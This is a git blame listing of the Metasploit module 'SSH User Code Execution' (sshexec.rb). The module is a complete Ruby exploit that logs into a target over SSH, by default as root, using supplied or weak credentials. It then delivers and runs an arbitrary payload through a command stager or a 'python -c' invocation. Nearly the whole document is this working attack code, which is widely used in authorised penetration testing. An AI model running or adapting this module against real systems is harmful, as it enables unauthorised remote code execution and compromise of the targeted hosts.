Files
metasploit-gs/modules/exploits/multi/ssh/sshexec.rb
T

148 lines
4.0 KiB
Ruby
Raw Normal View History

2013-03-08 15:25:16 -05:00
##
2014-10-17 11:47:33 -05:00
# This module requires Metasploit: http://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2013-03-08 15:25:16 -05:00
##
require 'msf/core'
require 'net/ssh'
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-08-30 16:28:54 -05:00
Rank = ManualRanking
2014-02-07 18:46:19 -06:00
include Msf::Exploit::CmdStager
2016-06-28 15:23:12 -05:00
include Msf::Exploit::Remote::SSH
2013-08-30 16:28:54 -05:00
attr_accessor :ssh_socket
2013-08-30 16:28:54 -05:00
def initialize
super(
2015-08-12 15:46:47 -04:00
'Name' => 'SSH User Code Execution',
'Description' => %q{
This module connects to the target system and executes the necessary
commands to run the specified payload via SSH. If a native payload is
2015-08-13 14:16:09 -05:00
specified, an appropriate stager will be used.
2013-08-30 16:28:54 -05:00
},
2015-08-12 15:46:47 -04:00
'Author' => ['Spencer McIntyre', 'Brandon Knight'],
'References' =>
2013-08-30 16:28:54 -05:00
[
[ 'CVE', '1999-0502'] # Weak password
],
2015-08-12 15:46:47 -04:00
'License' => MSF_LICENSE,
'Privileged' => true,
'DefaultOptions' =>
2013-08-30 16:28:54 -05:00
{
2015-08-12 15:46:47 -04:00
'PrependFork' => 'true',
'EXITFUNC' => 'process'
2013-08-30 16:28:54 -05:00
},
2015-08-12 15:46:47 -04:00
'Payload' =>
2013-08-30 16:28:54 -05:00
{
2015-08-12 15:46:47 -04:00
'Space' => 4096,
'BadChars' => "",
'DisableNops' => true
2013-08-30 16:28:54 -05:00
},
2015-08-12 15:46:47 -04:00
'Platform' => %w{ linux osx python },
'Targets' =>
2013-08-30 16:28:54 -05:00
[
[ 'Linux x86',
{
2015-08-12 15:46:47 -04:00
'Arch' => ARCH_X86,
2013-08-30 16:28:54 -05:00
'Platform' => 'linux'
}
2013-08-30 16:28:54 -05:00
],
[ 'Linux x64',
{
'Arch' => ARCH_X64,
2013-08-30 16:28:54 -05:00
'Platform' => 'linux'
}
2013-08-30 16:28:54 -05:00
],
[ 'OSX x86',
{
2015-08-12 15:46:47 -04:00
'Arch' => ARCH_X86,
2013-08-30 16:28:54 -05:00
'Platform' => 'osx'
}
2015-08-12 15:46:47 -04:00
],
[ 'Python',
{
'Arch' => ARCH_PYTHON,
'Platform' => 'python'
}
]
2013-08-30 16:28:54 -05:00
],
2015-08-12 15:46:47 -04:00
'CmdStagerFlavor' => %w{ bourne echo printf },
'DefaultTarget' => 0,
2013-08-30 16:28:54 -05:00
# For the CVE
2015-08-12 15:46:47 -04:00
'DisclosureDate' => 'Jan 01 1999'
2013-08-30 16:28:54 -05:00
)
2013-08-30 16:28:54 -05:00
register_options(
[
OptString.new('USERNAME', [ true, "The user to authenticate as.", 'root' ]),
OptString.new('PASSWORD', [ true, "The password to authenticate with.", '' ]),
OptString.new('RHOST', [ true, "The target address" ]),
Opt::RPORT(22)
], self.class
)
2013-08-30 16:28:54 -05:00
register_advanced_options(
[
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false])
]
)
end
2013-08-30 16:28:54 -05:00
def execute_command(cmd, opts = {})
vprint_status("Executing #{cmd}")
2013-08-30 16:28:54 -05:00
begin
Timeout.timeout(3) do
self.ssh_socket.exec!("#{cmd}\n")
end
rescue ::Exception
end
end
2013-08-30 16:28:54 -05:00
def do_login(ip, user, pass, port)
2016-06-28 15:23:12 -05:00
factory = ssh_socket_factory
2013-08-30 16:28:54 -05:00
opt_hash = {
:auth_methods => ['password', 'keyboard-interactive'],
:port => port,
2016-07-19 17:00:23 -05:00
:use_agent => false,
2013-12-30 14:28:15 -06:00
:config => false,
2016-06-24 13:55:28 -05:00
:password => pass,
2016-07-14 11:12:03 -05:00
:proxy => factory,
:non_interactive => true
2013-08-30 16:28:54 -05:00
}
2013-08-30 16:28:54 -05:00
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
2013-08-30 16:28:54 -05:00
begin
self.ssh_socket = Net::SSH.start(ip, user, opt_hash)
rescue Rex::ConnectionError
2013-08-30 16:28:54 -05:00
fail_with(Failure::Unreachable, 'Disconnected during negotiation')
rescue Net::SSH::Disconnect, ::EOFError
fail_with(Failure::Disconnected, 'Timed out during negotiation')
rescue Net::SSH::AuthenticationFailed
fail_with(Failure::NoAccess, 'Failed authentication')
rescue Net::SSH::Exception => e
fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")
end
2013-08-30 16:28:54 -05:00
if not self.ssh_socket
2015-04-16 21:56:42 +02:00
fail_with(Failure::Unknown, 'Failed to start SSH socket')
2013-08-30 16:28:54 -05:00
end
return
end
2013-08-30 16:28:54 -05:00
def exploit
do_login(datastore['RHOST'], datastore['USERNAME'], datastore['PASSWORD'], datastore['RPORT'])
print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending stager...")
2015-08-12 15:46:47 -04:00
if target['Platform'] == 'python'
execute_command("python -c \"#{payload.encoded}\"")
else
execute_cmdstager({:linemax => 500})
end
self.ssh_socket.close
2013-08-30 16:28:54 -05:00
end
end